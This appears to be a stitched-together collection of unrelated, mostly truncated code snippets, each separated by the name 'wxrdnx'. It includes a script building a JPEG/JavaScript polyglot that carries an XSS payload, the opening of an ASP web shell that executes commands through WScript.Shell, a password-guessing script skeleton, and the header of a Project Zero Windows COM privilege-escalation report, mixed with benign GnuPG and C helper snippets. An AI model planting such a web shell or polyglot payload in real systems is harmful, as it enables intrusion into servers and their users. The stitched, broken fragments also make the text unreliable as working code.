wxrdnx

img = b''

xss_payload = b'*/=1;'     # ÿØÿà=1
xss_payload += b'alert(1)' # The actual XSS payload
xss_payload += b'/*'       # Comment out the rest of the image
malicious_file = b'exploit.jpg'

assert len(xss_payload) + 2 < 0x10000, "The length of your XSS Payload should be less than 0x10000"

img += b'\xff\xd8' # SOI

wxrdnx

import aiohttp
import asyncio

async def fetch(session, url):
    async with session.get(url) as response:
        result = await response.text()
        if not (len(result) in [139, 142, 145]):
            print(url, result, len(result))

async def main():

wxrdnx

import os

def build_websocket_frame(data):
    frame = b'\x81'
    if len(data) <= 125:
        frame += bytes([0x80 | len(data)])
    elif len(data) <= 65535:
        frame += bytes([0x80 | 126])
        frame += len(data).to_bytes(2, 'big')
    else:

wxrdnx

import requests
import string

url = ...
username = ...
MAX_PW_LEN = 64

def success(html):
    return username in html

wxrdnx

GNUPG CHEATSHEET

Setting up: key generation

This generates a public/private keypair.

$ gpg --gen-key

$ gpg --list-secret-keys

wxrdnx

od -t x1 -An file.txt | sed 's/ //g' | tr -d '\n'

wxrdnx

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function

wxrdnx

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107

Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
Class: Elevation of Privilege

Summary:
When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP.

wxrdnx

void noreturn fatal(const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    vfprintf(stderr, fmt, args);
    va_end(args);
    exit(EXIT_FAILURE);
}

wxrdnx

#define die(fmt, ...) do { \
    fprintf(stderr, fmt, ##__VA_ARGS__); \
    exit(EXIT_FAILURE); \
} while (0)